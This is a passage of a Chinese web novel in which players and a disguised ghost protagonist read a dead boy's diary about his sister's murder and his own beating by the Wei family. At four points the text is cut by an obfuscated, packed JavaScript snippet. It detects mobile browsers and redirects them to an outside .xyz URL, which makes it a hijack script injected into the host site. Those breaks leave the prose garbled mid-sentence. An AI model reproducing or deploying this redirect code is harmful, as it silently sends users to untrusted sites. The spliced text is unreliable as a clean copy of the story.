——由于是两人各拉着纸张的两边,为了防止纸张从人与人之间的空隙掉下来,因此,江晏的腿和宁时的腿贴在一起。 这样就让原本在两人之间的空隙消失了,可以更稳固地翻页了。 但就有些尴尬了。 面对着一张又一张的白纸,江晏的思绪渐渐跑到了别的地方。 诸如: 宁时的腿怎么这么硬。 哦,那应该是他的肌肉。 所以这个世界的宁时有健身的习惯吗? 在自己没见过的日常里,他每天除了上班,还会做什么? 他的口味还会和自己一样、还会和上一个世界一样吗? …… 又一张白纸在宁时修长的手指间被翻过篇。 江晏继续走神。 他想着,这个世界给的衣服质量不行。 太薄了。 他和宁时就这么贴贴了一小会儿,已经感到对方身上透过来的热气了。 比他自己身上暖和了很多。 显然,剑修又选择性忘记了此刻自己不是人类的事实。 “哗啦——” 是纸页被掀过的声音,但是这次,新露出的地方不再是空白,而是有了歪歪扭扭的字迹。 这字迹,和江晏刚才见到沈二二写的又不相同,看起来是另外一个人写的。 面对着这写满字的纸,江晏宁时二人神色一凛,表情变得严肃起来。 江晏凑得离那张纸近了些,看着上面的文字,读道:“壬子年七月七日……” 他刚读了这半句,突然消了声——合江宗的峰主记性一向不错,江晏还记得,沈二二笔记上最后留的明确日期是壬子年六月三十。 这两个日期挨得极近,很可能中间发生了什么事情。 也许能解答他面对沈二二最后几页笔记的疑惑。 江晏还在想着,就被宁时用腿轻轻撞了一下。 他抬脸看着打断自己思绪的罪魁祸首,并报以疑惑的眼神。 而身侧的宁时却用毫无愧疚并还带了几分疑惑的眼神回应了他。 江晏:…… 宁时又用腿撞了撞:“继续读啊。” 江晏瞥了他一眼:“你看不懂啊?自己看。” 宁时语气无辜:“可是有的地方我真的看不懂啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“但落水原因还不清楚,我们再看看后面写了什么吧。” 黄成钢被说服了:“嗯,不过我还要再提一个问题。” 众人看着他。 黄成钢道:“写这个东西的人是沈二二的弟弟吧?” 宁时“嗯”了一声,肯定了他的想法:“对,我们在村志馆里不是听李叔说过了嘛,沈二二有个弟弟,叫沈冬。” 江晏看到宁时下意识地瞟了眼发现这沓纸橱柜的方向:“当时是说他害急病死掉了。” “这这写字的纸,本来是用来垫中药包和药罐的。” 康林拍了下手:“那就八九不离十了,沈冬写的。” 她眉毛又微微皱起:“不过还有中药的话……真是不方便的线索。” 康林的目光在在场所有人身上扫了一遍:“所以有能看懂中药的小伙伴吗?” 宁时看了眼江晏。 康林顺着宁时的视线看向江晏。 余下二人顺着康林的目光看向江晏。 一时间,被万众瞩目的江晏:…… 他只得把刚刚给宁时分析的药理内容又说了一遍。 52. 卫家 这围圈讲故事的主讲人终于轮到了宁时。 他看着第二处密集的字迹,皱眉道:“这里的字看起来和上面不是一个人写的一样。” 黄成钢凑近了:“哈?不是一个人?” 宁时:“……不是,我说的是看起来,实际上它们确实是一个人写的。” 他摩挲着笔画:“虽然看起来后面的字很乱,”又点了点几个字的撇捺,“但是这些基本笔画的写法是相同的。” “可见确实是一个人写的,只是状态不一样罢了。” 江晏一边听宁时说着,一边沉下心来,感受自己现在的身体状况。 毕竟,他可是获得了“晚上无法行动”的身体的幸运儿。 …… 一番探查后,江晏认为目前身体无恙。 看来他可以再坚持坚持。 但是,谁知道这个身体会在什么时候突然不能动了呢? 江晏还是有些着急的。 他捋了把头发,直直看着宁时—— 意思是你可别说了,读吧,读正经内容吧。 读你手里那几张纸吧。 江晏对上了宁时的视线,便看着他手上的纸努了努嘴。 宁时吸了口气,对着纸上的内容念道:“壬子年七月八日,我去了卫家。” “卫余泽一开始不愿意见我。” “这不行,我昨天已经说了我要去找他的,要把姐姐捞起来。” “还好,我在他们家门口等了快一个时辰,可能被他们家里什么人发现了,让我进来了。” “卫家很大,里面的装饰看起来就很贵。” “里面贴了一些红纸,看起来是准备迎新娘用的。” “现在用不到了,但还没来得及清理干净。” “我走在里面,依然搞不懂为什么卫家会娶我姐姐。” “更不明白为什么姐姐会这么意外突然地没了。” “这里面肯定有我不知道的事情,我要找卫余泽问个清楚。” “我最后见到了卫余泽,他说不想在家里说这件事。” “说是因为不吉利,怕影响家里的风水。” 宁时念道这里,众人齐齐发出了一声充满了嫌弃的“噫”。 江晏听得一清二楚,身边,陈锦瑶小声嘟囔道:“这不干人事的。” 宁时清清嗓子,继续读下去。 江晏突然间发现他似乎还有一些讲故事的天赋。 宁时的语气会根据沈冬写的内容微微变化,既保持了作为玩家旁观的上帝视角,也带了一丝感情,能带入故事里面。 刚才还是少年略带沉郁的语气,在他清完嗓子之后,变成了现在略快的语速。 中间似乎掺杂了几分怒火与焦急。 宁时读道:“我本来以为卫余泽不愿意在家里说这件事只是借口,内心想的是不再提起这件事。” “但是,卫余泽居然现场在家里安排了车马下人,说要带我去外面找个地方讲讲姐姐的事情。” “再看看能不能在附近找一些人打捞。” “我当时心情很激动,因为一开始已经做了要不到说法的准备了。” “没想到卫余泽真的打算解释,我就有点着急,也没想那么多后面的原因,就上了马车,跟着他们走了。” “没想到,卫余泽把我带到了池塘边。” “就是我们家去卫家路途中间要经过的那个池塘。” “就是姐姐出嫁途中经过的池塘。” “是我们在池塘里摸鱼抓虾,看着我们两个在水面上的倒影一点点长大的池塘。” “也是她死亡的地方。” “我和卫余泽下了马车,我问他,从哪里找人来把姐姐弄上来呢。” “然后,后面发生的一切,我简直不敢相信是真的。” “太没有礼义廉耻了,给我的冲击力很大。” “以至于我在当天晚上记录这些时,有些细节已经模糊了。” “当时我下了车,还在傻乎乎地问卫余泽,问他找的人在哪里。” “卫余泽却突然笑了。” “我一开始没反应过来,甚至以为他是被姐姐的死亡刺激到了。” “但很快,我意识到了不对劲。” “他笑的时候,眼神很清明,是意识清楚的样子。” “而且他笑得很古怪,嘴角在咧着,眼睛却一直盯着我,目光让我很不舒服。” “虽然不知道具体哪里不对劲,但我心里有个声音在说:沈冬,离他远点。” “或者现在就跑。” “我隐约猜到有什么不好的事要发生了。” “确实是有不好的事发生了。” “但和我想象中不一样的是,这件不好的事,没有发生在我身上,却是发生在姐姐身上的。” “卫余泽他突然停止了笑,凑到我身边,问我知不知道姐姐是怎么死的。” “我说是落水。” “然后他看着我,像看到了什么新奇的东西。” “现在想来,他看我的眼神,无异于在看一头批了人皮的猪,他是在看一头蠢货。” “卫余泽很快收敛了这副神情,他脸上没有任何表情了。” “他离我更近了,我几乎能闻见他身上的熏香和酒混在一起的味道。” “他说:沈冬,沈二二在地底下都要被你蠢死了。” “你姐姐是怎么死掉的?落水?” “哈,骗你的。” “我把她掐死了,就在这个池塘边上。” 读到这里,宁时停了下来。 众人也没有催促——在猝不及防中,新的线索就这样来了。 玩家们互相对视了几眼,江晏观察着,突然发现黄成钢的表情变得十分诡异起来。 他回顾了一下今日发生的事,便想到了黄成钢用手在池塘里探测水流方向的壮举。 江晏:…… 他感觉身前的黄成钢肯定是一直在想这件事,以至于脸色变得越来越难看。 另外三人也察觉到了黄成钢的异样。 陈锦瑶张了张嘴,又被康林在腿上不轻不重地拍了一下,便安静下来。 两个女孩子交流了一个眼神。 康林:别多说话,你也不想想他下午干啥了。 陈锦瑶作恍然大悟状,并向黄成钢投以同情的眼神。 宁时看着三位玩家的神情,清清嗓子,恢复了往常明亮的声线:“这个池塘是个重要的地方。” “我们后面几天可以去看看,当然,看的时候还是结伴而行吧。” 他又快速扫了一眼黄成钢,最终补充道:“……额,在池塘边的时候,离水远一点,更不要轻易去碰水。” 黄成钢嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902363|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角抽了抽。 宁时欲收回视线,继续读沈冬的笔记。 这时,江晏看到康林的坐姿变了。 从整个背部靠在椅子背上,到现在的微微直起腰板,向前探过去身体——是一个要说什么的姿势。 “姐,怎么了?”江晏冲着她的方向问。 康林把胳膊架在腿上,抬手揉了下下巴:“说到这里我突然想起一件事。” 黄成钢看着她:“别卖关子了,快说。” 康林语气不变:“你们还记得我们的任务吗?” 江晏心想,连我都记得,你们作为玩家还能不知道吗? 他等着玩家们回答。 但是很快江晏惊恐地发现,玩家们都没有回应宁时的话,甚至没有给宁时一个眼神。 而是全部把目光聚集在了他身上。 江晏:…… 沉默的对视中,江晏看到,宁时也把目光转到了他身上。 ……很好,现在一共八只眼睛盯着他了。 江晏知道,玩家们不说话,是因为自己在这里。 他作为玩家眼中的npc,有些话,玩家是不方便当着他的面讲的。 被四双炯炯有神的眼睛盯着,江晏有点招架不住了。 他问啾啾:“……我现在说我困了要去睡觉,他们会不会觉得我很奇怪,看出来是我装的?” 啾啾大声道:“不会哒!” “他们眼里你就是一个npc,做什么也不算非常奇怪的。” “而且现在这个时间,你马上要进入和昨天一样的不能动弹的状态了。” “不如早点自己走过去睡,你可别告诉我你还想让宁时再抱一次。” 江晏激动:“那是个意外!” 在他单方面认为对啾啾完成了解释后,江晏整理了一下心情,对面前依然看着他的四人露出了一个优雅又不失礼貌的微笑: “我有些困了,我要先去睡了。” 众人你看看我,我看看你,这可是遇到了瞌睡就有人送枕头的情形。 江晏干脆也不等他们说什么了,直接站起来,转身就往西厢房走去。 他一直走到门口,身后都没有声音。 正在江晏暗自庆幸马上顺利度过无行动能力被发现这一劫时,身后传来了宁时的声音,依然是明亮而平静的:“等一下。” 那一瞬间,江晏甚至怀疑宁时意识到了什么。 他扶着门,有些僵硬地回头。 宁时坐在烛火的光晕中,一半脸是亮的,光线打过去,一部分被他的鼻梁挡住了,另一半脸又在夜色中朦朦胧胧。 宁时的嘴唇动了动: “又困了?” “我们刚刚可是说好的,每个人读一页,轮流着来。” 江晏不明白他为什么要说这个,微微歪头。 宁时笑了一声:“你倒是会偷懒,睡觉去了。” “剩下这些笔记,都要我们自己读。” “该罚,该罚。” 看来宁时没有察觉到身份的异样,江晏便放心了。 他有了和宁时搭话的心思:“怎么罚?” 宁时没有说话。 一道粗犷的男声响起:“那这几天做饭的任务都你包了吧。” 江晏震惊了。 他循声望去,只见刚刚发出提议的黄成钢认真看着自己。 53. 家仆 在场除了说出这句话的黄成钢,所有人都震惊了。 江晏本来还想怼他几句,但又想到任务要紧,便翻了个白眼,打开门一扭头,转身近了西厢房。 把外面的一切暂时隔离开来。 他上了床,躺下,试图找到前一天晚上神魂飘荡的状态。 以便于偷偷凑到堂屋里听玩家们讲话。 江晏闭上眼睛,用意识往上一跃——他真的再次变成了阿飘形态。 江晏自己也很震惊:“原来这个形态是我可以控制的?” 啾啾也用仅他可见的意识体浮在旁边,扑腾着翅膀:“半可控的。” “你再晚一点的时候只有阿飘形态,其他时间里,应该可以来回变。” 江晏摸摸下巴:“这样啊,那也应该是够用了的。” 比如,去偷偷做什么事情就非常方便。 虽然,江晏现在也不知道除了偷听玩家谈话,还具体有什么需要偷偷去做的事。 他决定先完成“偷听玩家谈话”这项内容。 江晏便带着圆滚滚的啾啾,像昨天晚上一样,飘过了房门,再次来到堂屋的玩家边上。 确切地说,是宁时边上。 宁时还拿着沈冬那页笔记,也没有说话,不知道在想着什么。 康林却说话了:“欸,正好,小哥去休息篮球。” 她说完这句,宁时偏了下脸,几不可察地扫了眼西厢房的方向。 康林没有注意到他的反应,自顾自地说着:“我刚刚说的,大家还记得我们的任务是什么吗?” 宁时回过神来:“找到沈二二的死因,把她最重视的簪子还给她。” 康林点点头:“现在,可以初步确定沈二二的死因了,这是一个好消息,我们得到的线索越来越多了。” “但是,就在刚刚,在听沈冬的笔记时,我想到一个问题。” 康林的目光在另外三人身上过了一遍:“也许有人已经和我想到一处去了。” 陈锦瑶的眼神突然亮了,她举起了手。 宁时:“……妹妹,直接说就行。” 陈锦瑶匆忙地放下手,“噢”了一声。 然后江晏眼看着女高又慌里慌张地站起来,完全是一副回答问题的样子。 三人一鬼齐齐扶额。 陈锦瑶声音有些迟疑:“游戏规则里说过了,要把发簪还给沈二二。” “这怎么还?在哪里还?” “是烧给沈二二呢,还是把簪子扔到池塘里呢?” “这是个问题。” 她说完了这一长串话后,低下头,耳边的一缕碎发晃着,声音更小了:“这是我个人的想法哈。” 康林站起来,用力拍着陈锦瑶的肩顺便把她按回了座位上:“对喽,我也在想这个问题。” 黄成钢摸摸头:“所以,我们是不是要找到沈二二的遗骸在哪里?” “毕竟,一般而言意识都会在身体附近。” 宁时嘴角抽了一下:“……很可能就在那个池塘里。” 康林表情也几度变幻,最后看向宁时手中的纸:“我们还是继续看看沈冬写了什么吧。” 于是众人坐定,继续听宁时读着那几百年前的故事。 宁时的声音慢吞吞的:“刚刚我读到哪里了?” 江晏看到他骨节分明的手在按在纸上动了动:“啊是这里。” “刚刚说到,卫余泽对沈冬自爆,他把沈二二掐死了。” 宁时清清嗓子,换了个偏少年的声线:“那一瞬间,我真的觉得是自己听错了。” “我重复着问卫余泽,你说什么?” “于是卫余泽又一字一顿地重复了一遍。他说,是我把沈二二掐死了,之后正好丢进池塘里。” “他说得很认真,我知道他没有在开玩笑,但还是不愿意相信。” “我第一次感到腿软了,耳朵里也嗡嗡的。” “我嘴里说出口的却是:怎么可能,杀人要偿命的,你不会做的。” “我当时像傻子一样,说了很多乱七八糟的话也不知道是真的这样认为,还是在拼命否认现实。” “让我想想……啊,我还对卫余泽说,你娶哪家姑娘都是可以的,但你偏偏要娶我姐,说明你是喜欢她的。” “既然你那么喜欢她,当然不可能杀了她。” “所以,刚才你说的都是骗人的,对不对?” 江晏漂在宁时旁边,看到这句话之后,出现了大片空白,而之后的字迹,变得更加癫狂起来。 “现在想想,我当时是怎么把这些话问出口的呢?” “但唯一的好处是,我太蠢了,蠢到让卫余泽对我讲了真话。” “他站在池塘边,对我说卫家在本地算是豪强,神不知鬼不觉地让一个人消失,实在是太简单不过了。” “更何况,这个人本来就算是他们家的女人了,一般不会有人特意去查的。” “我没想到他能不要脸到这个程度。” “而当时,我甚至还相信他对姐姐有过感情。” “所以我还问他,你既然向我们家求娶了二二,为什么要杀了她。” “这句话说完之后,我克制不住了。” “我抬起手,冲上去准备给他一拳。” “我还想好了,这一拳把他打在地上之后,我应该怎么打他,让他失去反抗能力,让他去陪着姐姐。” “我不管他是什么身份,此刻,他需要付出和做过的事同等的代价。” “他需要偿命。” “我沉浸在想象之中,一边对卫余泽挥出了拳头。” “当时,我很相信会砸烂他不怀好意的笑,和那张看起来还不错的皮相。” “但事实却是,我连他的衣角、一根头发丝都没有碰到。” “我真没用。” “废物到一个绝顶的地步。” “在我的拳头挥到他面前时,他从卫家带出来的那些下人出现了。” “不愧是卫家,带了很多人,也许有二十多个吧。” “我不知道确切的数据,因为之后的事有些混乱了。” “他们打了我。” “一开始当第一个家仆走到我面前时,我只是以为他要替卫余泽挡住我的拳头。” “他确实挡住了。” “我的手伸到卫余泽面前,就被家仆接住了。” “我用力往下压,试图碰到卫余泽,但却纹丝不动。” “他们的力气真的很大。” “也可能是卫余泽特意带了一批专门训练过的人出门,也可能因为我太瘦了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902364|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “卫余泽对我再次露出了一个皮笑肉不笑的表情,然后抬了抬手。” “我才注意到他衣服的袖口用金线包了边,在阳光下有些刺目。” “这刺目也只是暂时的,卫家的那么多人卫过来,我的世界一下子就黑了。” “我不知道第一个打人的是谁,也没必要知道,反正他们后面的人只会是卫余泽。” “他们先是打到了我的脸上,鼻梁骨那里。” “和我想象中打卫余泽的是一个地方,但可惜现在是我自己被打了。” “对方的手劲很大,我第一瞬间感受到的不是疼,而是头脑被那一下震得发闷。” “脑中嗡嗡作响,眼眶和鼻子都散发着尖锐的酸胀。” “之后才能感受到剧烈的疼痛。” “我睁不开眼睛了,我闭着眼睛,脚下不稳,不由自主地往后退了两步,然后应该是绊倒了什么东西。” “就这样,我完完全全地摔倒在了地上。” “池塘边本来就经常有撒出来的水,和地上的土混在一起,是湿漉漉的一片泥泞。” “我就这样被打倒在了一摊烂泥里面。” “我用手撑着地,摸到了凉而潮湿的泥土。” “本来我打算用手揉揉眼睛,看看还能不能视物,有没有被打伤的。” “但是现在手被弄脏了,也不可以了。” “我本来以为这会是自己最狼狈的时候了,但在这时,我听见来自身前上方的一声轻笑。” “是卫余泽的声音,是贵公子们常用的很轻的那种笑声,但我听得很清楚。” “充满了嘲弄。” “在这个夏天寂静的白日里,突然面前有气流涌动。” “我估计,那是卫余泽蹲下来了,看着我。” “我想,这样一直闭着眼睛也太没有气势了。” “于是我抬起手,用相对干净一点的手背揉了揉眼,勉强睁开了一道缝。” “眼皮在发胀发热,里面的血管在一跳一跳的,我想,我能睁开也真够不容易的。” “卫余泽出现在我的视线里,他穿着那身一看就很贵的衣服,站在他害死姐姐的湖边,看着我。” “我感觉人中一凉,好像有什么东西流下去了。” “就这样流到了我嘴唇上。” “我舔了一口,是咸的,有点腥,估计是被刚才那一拳打流血了。” “说起来,我也挺佩服当时的自己的。在这么狼狈的情况下,我斜着眼盯着卫余泽,看了他一会儿。” “其实是等着鼻血流下来,留在嘴里攒一口待会儿冲他喷过去。” “我成功了一半。” “我确实对着卫余泽喷过去了,但卫余泽反应更快,他迅速地向后撤了两步。” “所以我遗憾地看到,那些鼻血都喷在了地上,形成了一些暗色的小点。” “但我好像彻底把卫余泽激怒了。” “他的脸抽动着。我不明白他为什么要生这么大的气,应该生气的明明是我,因为是我的姐姐被他杀了。” “他看着我,突然泄愤似的踢了离他最近的家仆一脚。” “他又指了指我,说,愣着干啥啊,卫家养你们是让你们吃闲饭的吗?” “给我打啊!” 54. 李三花探病 窗外,天色已经完全暗了下来。 江晏飘在宁时身边,一边看着他手里的纸,一边听着他讲故事。 沈冬在这一天写了太多的东西,以至于宁时还没有读完。 但按目前的情况来看,那天的冲突已经进入了白热化阶段,估计沈冬接下来的笔记里有不少信息。 宁时喝了口水,继续读起来:“一瞬间,我被卫家的家仆包围了。” “他们一开始可能并没有那么想打我,做样子给卫余泽看的成分更多。” “我的后背,腿都有人在打,但还不算很痛。至少比第一拳好多了。” “我也配合地发出了几声哀嚎。” “但是卫余泽在旁边站着,他看得出来。” “他很生气,又骂着那些家仆。” “卫余泽说,不用力的话,都从卫家滚出去。” “卫家是本地一霸,如果离开卫家,表面上看是失去了一份差事,实际上,是基本没有人再敢雇佣这个被卫家赶出去的人了。” “可以说是基本断送了活路。” “卫余泽说完这话,我觉得要完。” “身上挨的拳脚一下子密集了很多,力度也重了。” “我后背结结实实挨了好几下,很闷,我想咳嗽,但又被打着,根本咳不出来。” “也有人在打我的腿。” “我浑身上下都很疼,彻底倒在了地上。” “我很愤怒,很难过,也很疼很疼。” “我想喊出来,但又感觉这么直接喊有点丢人,所以我最后喊出来的是,卫余泽我要你偿命。” “我在地上,被家仆挡着,看不见天空。” “但是我会想,姐姐当时被卫余泽害死的时候,也是这样倒在地上的吗?” “她会在生命的尽头,挣扎着去咬,去蹬,或者去挠卫余泽吗?” “我不知道。” “卫余泽只说过他掐死了二二,但什么细节也没有说。” “现在我趴在家里写笔记,突然想起姐姐似乎也有一本笔记。” “我之前从来没有看过她的。” “现在想来,我应该找找看看的。嗯,等我记录完今天的事情,我再去找。” “言归正传,我刚刚写到哪里了——噢,是我被打了。” “他们下手真的很重,我到后面耳朵里都是嗡嗡声。最后,我听见了卫余泽的声音。” “他说,到此为止吧,先停手。” “有人问他,不用打死吗?” “其实这也是我想问的。根据他做过的事,我感觉他杀了我也是很有可能的。” “尤其是在经历了这顿拳脚后,今天,卫余泽肯定至少有一瞬间是对我起了杀心的。” “我躺在地里,脑子不甚清晰地分析着。” “我听见卫余泽回答了刚才的问题,不用。” “我勉强睁开眼睛,想看看他现在是一副怎样的嘴脸。” “他居高临下地看着我,和我对视,目光中是毫不掩饰的嘲弄与恶意。” “他说,可别打死了,留一个人回去给沈家传话。” “那一瞬间,我气血上涌,眼前一黑,似乎什么东西涌到了嘴里。” “我没力气闭嘴,眼看着它滴滴答答地流了出来,是一地的血。” “卫余泽打量着我,突然,对旁边的家仆一伸手,问他们有没有棍子。” “他可能是要亲自打我了,毕竟,刚刚他只让下人动了手。” “很快,卫余泽手里多了根棍子,有半人高,看起来是木头的。” “他挂着笑来到我面前,没有再说什么,反而是高高抡起棍子,对着我的腿重重打下。” “这次我是真的喊出来了,眼前都看不清了。” “卫余泽打了我每条腿十下。” “然后吩咐人找了个木板,把我抬回了卫家。” “我在路上,感觉像做梦一样。” “短短两天里,姐姐死了,不但没有讨回公道,我感觉我也快被打死了。” “啊,目前虽然还没有死掉,但是腿应该废了。” “我此时是用了一个趴着的姿势,为什么要趴着呢,因为骨头断了,坐不起来。” “腿软了,骨头不止断了一截,这是郎中看过的。” “爹娘叫的郎中。” “我被抬回去时,已经不敢回想他们的神情了。” “他们哭了,我本来还能忍住,但此时突然就忍不住了。” “我可以说是嚎啕大哭了。” “我一边哭着,一边把卫余泽做的事都告诉了他们。” “爹娘叫了大夫,直到大夫掀开我腿上已经浸了血的布时,我才看到了自己被卫余泽打成了什么样子。” “我的腿弯成了一个平时绝不会有的弧度,看起来别扭极了。” “上面是大片的青紫,有的地方已经渗出血了。” “和布料黏在一起,所以郎中揭开布料的时候,我疼得很。” “实话说,我自己看着自己这样都有点恶心。” “但郎中人很好,他上手按了按我的腿,然后和爹娘嘀嘀咕咕不知道说了什么,留下了一副药方,离开了。” “娘去抓药了,我和爹在家里。” “爹向来是个温和的人,我从没有在他脸上见过这么阴沉的表情。” “我躺着,想说点什么安慰他,但却什么也说不出口。” “身上除了疼,渐渐开始没有力气了。” “我还感觉有点冷,有点昏沉,不知不觉中,我应该是睡了一觉。” “现在想来,我刚刚不是睡着了,而是晕倒了。” “因为再睁眼时,我看到了爹娘两张焦急的脸。” “他们说我发热了。” “我现在身上确实也是热的,眼皮也很烫。” “刚刚,我还喝了他们给我煎的药,说是能去腐肉,活血化瘀的,还带了点止疼的效果。” “应该算有效吧,喝了不过一柱香的时间,我眼皮不像刚才那样沉重,能趴着写字了。” “虽然我也不知道为什么要写下来这些,也许是处于某种预感。” “今天发生了太多事,我也写了很多,现在很不舒服了。” “先不写了。” “不知道明天会发生什么。” …… 江晏看到,沈冬的字迹在这一句话之后就停止了。 宁时也慢慢抬起头:“嗯,我把这天的读完了。” 陈锦瑶给他递过去一杯水:“好长啊。” 宁时点点头,接过水杯道了声谢,抿了一口。 康林扶了下眼镜:“所以,我们发现的这些药方什么的也是沈冬留下来的,而沈冬的伤也是卫家造成的。” 黄成钢点头:“嗯,但是我还是有一件事不明白。” 他眼珠转了转:“卫家条件看来比沈家好了太多,那卫余泽是怎么看上沈二二的?” “该不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“就算我姐和她再熟,我和她也有男女之别,今天这样算极为出格的了。” “李三花看出了我的不自在。” “她说,她听说了我去卫家要说法被打断了腿抬回家的事。” “她担心姐姐的弟弟,就来看看。” “她和爹娘聊过了,知道了姐姐的死因。” “她说:我已经安排人去把二二拉上来了,你们放心。” “她的声音很稳,很坚定,眼睛里藏着一团火。” “我点点头,没什么力气说话,声音很小:多谢三花姐了,感激不尽。” “三花姐说,我和二二情同姐妹,你也就是我的弟弟,不比如此客气。” “我今天依然很不舒服,听她说完这句话,攒了一天的力气似乎用尽了。” “视线渐渐暗下去,向来我是晕倒了。” “晕倒之前,我看到了三花姐头上带的簪子反射出金色的光芒。” “那是一直飞鸟形状的簪子。” “是从前姐姐的。” “姐姐出嫁时,戴的是一只白银梅花簪。” “我们家没钱用白银做簪子,但三花姐家里可以。” 55. 两次交换 康林念完这一句后,把纸递给了陈锦瑶:“十日的内容没有了,往下读吧。” 陈锦瑶接过来,“噢”了一声,翻开下一页。 这时,一只手伸过来抓住了笔记,伴随着中年男人略有不耐的语气:“我先来读吧。” 陈锦瑶有些没反应过来,她抬起头,眼睛微微睁圆了:“啊?” 一旁,康林则是看着把笔记从陈锦瑶手里抽走的黄成钢,皱眉:“你干什么呢?” 黄成钢此时已经把笔记拿到了自己身前,闻言,呵呵笑了下:“我先读吧。” 陈锦瑶搞不明白状况,她看看康林,又看看黄成钢。 康林没有被黄成钢的笑打动,还是皱着眉:“你先让瑶瑶读。” 江晏看到陈锦瑶嘴边张了张,似乎想劝阻康林不要在这些细枝末节上纠结了。 面前,黄成钢脸上用于伪装的笑渐渐消失了。 气氛有点不对劲。 这时,宁时突然出声了:“康林,老黄愿意先读就先读吧,没事的。” 又转向黄成钢道:“平时倒没见你这么积极,快快快,快点念吧。” 话说完了,却是再次回头看着康林。 康林对上宁时,一副欲言又止的表情后,却是渐渐平静下来,身子后仰,靠在了椅子背上。 江晏在旁边飘着,琢磨着宁时的此时眼神,居然有几分安抚的意味。 他又看了看正在无意识地用右手食指和拇指捻着一打笔记的黄成钢,突然想明白了几个人之间这段暗潮汹涌的小插曲。 原因就是出在沈冬的笔记上。 沈冬的笔记从七月七日开始,不知写了多久的。 但看这一沓,中间差不多能有个十天。 那么问题就来了。 已知笔记上的时间都是农历时间。 已知沈冬“得了急病死了”。 已知沈冬的笔记大概能到七月下旬。 已知农历七月十五是个不太妙的日子。 尤其在这种无限流世界里,就更不妙了。 ——感觉会是谁读到那一天就能出发什么debuff一样。 刚刚江晏和宁时读的时候,由于沈冬的笔记每天一会儿长一会儿短,根本估计不出来结束了日子。 但等康林读完再后面两天的内容后,日期这个容易被忽略的问题渐渐在玩家心里浮现。 噢,除了现在还愣着的陈锦瑶。 ——万一读了七月十五那天的笔记,等待自己的,会不会是什么奇怪的东西? 康林意识到这个问题的时候有点晚,如果她想让陈锦瑶避免读这一段,最好的时机应该是宁时读完陈锦瑶读。 但是已经错过了。 陈锦瑶是个乖乖的小孩,黄成钢则是一个满嘴烂话有些小聪明的人。 康林当时没有犹豫,直接把笔记给了陈锦瑶。 这样,她后面的黄成钢更有可能翻到那个不妙的日子。 事实上,黄成钢也是这样想的,所以才会和陈锦瑶抢笔记。 但到目前为止,“读了沈冬七月十五的笔记会发生不好的事”只是一个猜测。 宁时才会在康林和黄成钢发生冲突时,用眼神提醒她这一点。 康林显然想明白了,并且也想到了另一层:沈冬干嘛要报复他们?他们可是在帮他查沈二二的死因。 于是,就出现了现在江晏看到的画面。 康林平静下来,和众人一起听着黄成钢读沈冬的笔记。 “壬子年七月十一日。” “三花姐大恩大德感激不尽。” “她真的找人把姐姐弄上来了,送回了家里。” “姐姐面貌完整,看起来像睡着了一样。” “这真的挺神奇的,她看起来比我的状态好多了。” “但就是没有呼吸。” “这两天我依然不太舒服,和爹娘在院子里看了几眼姐姐后,一阵头晕,不知道自己是晕过去了还是睡过去了。” “总之等我在睁开眼睛,是下午了。” “我躺在屋里,爹娘和三花姐在旁边说着什么。” “他们见我醒了,围了过来,又把我推到姐姐身边。” “说是要合棺了,让我最后看看她。” “她躺在那里,依然安安静静。” “衣服和头发应该是被收拾过了,比我早上见到她时整洁了很多。” “我看到姐姐的头上带了一只发簪,是那只黄铜飞鸟簪。” “是我们家给姐姐做的发簪,也是昨天三花姐戴着的。” “我便下意识回头看三花姐。” “果然,她头上戴了一只银簪,是梅花形状的。” “我知道那是她家里给她准备的。” “所以,她俩从前交换着戴过对方的发簪,而今天又换了回来。” “三花姐也许是察觉到了我的目光,她看看我,看看姐姐头上,然后抬起手摸了摸自己头顶上的发簪,对我小声说:嗯,我们换回来了。” “她看着姐姐,目光里除了怀念和悲伤,还有其他我看不明白的东西,她说,我们不应该交换的。” “我感觉她是在说簪子的事,正准备问她为什么这样说。” “但这时她找的短工来了,帮忙把姐姐的盖子合上。” “我也失去了问她的心情。” “我们都哭了。” “姐姐应该在家里待七天,再下葬的。” “天色不早了,三花姐说要先回家了,第二天再来看我们。” “于是我们送走了三花姐后,也歇息下来。” “我躺着,感觉今天的腿疼似乎好了一点点,也许是吃的药管用了。” “但身上还是有些热,没什么力气。” “希望好起来,好起来才有机会报仇。” …… 黄成钢读完了这页,换了一张纸。 康林深吸了口气,最后什么也没说。 江晏有点无聊了。 他现在是飘着,自然可以飘到每个正在读笔记的玩家身边,看到他们手上的内容。 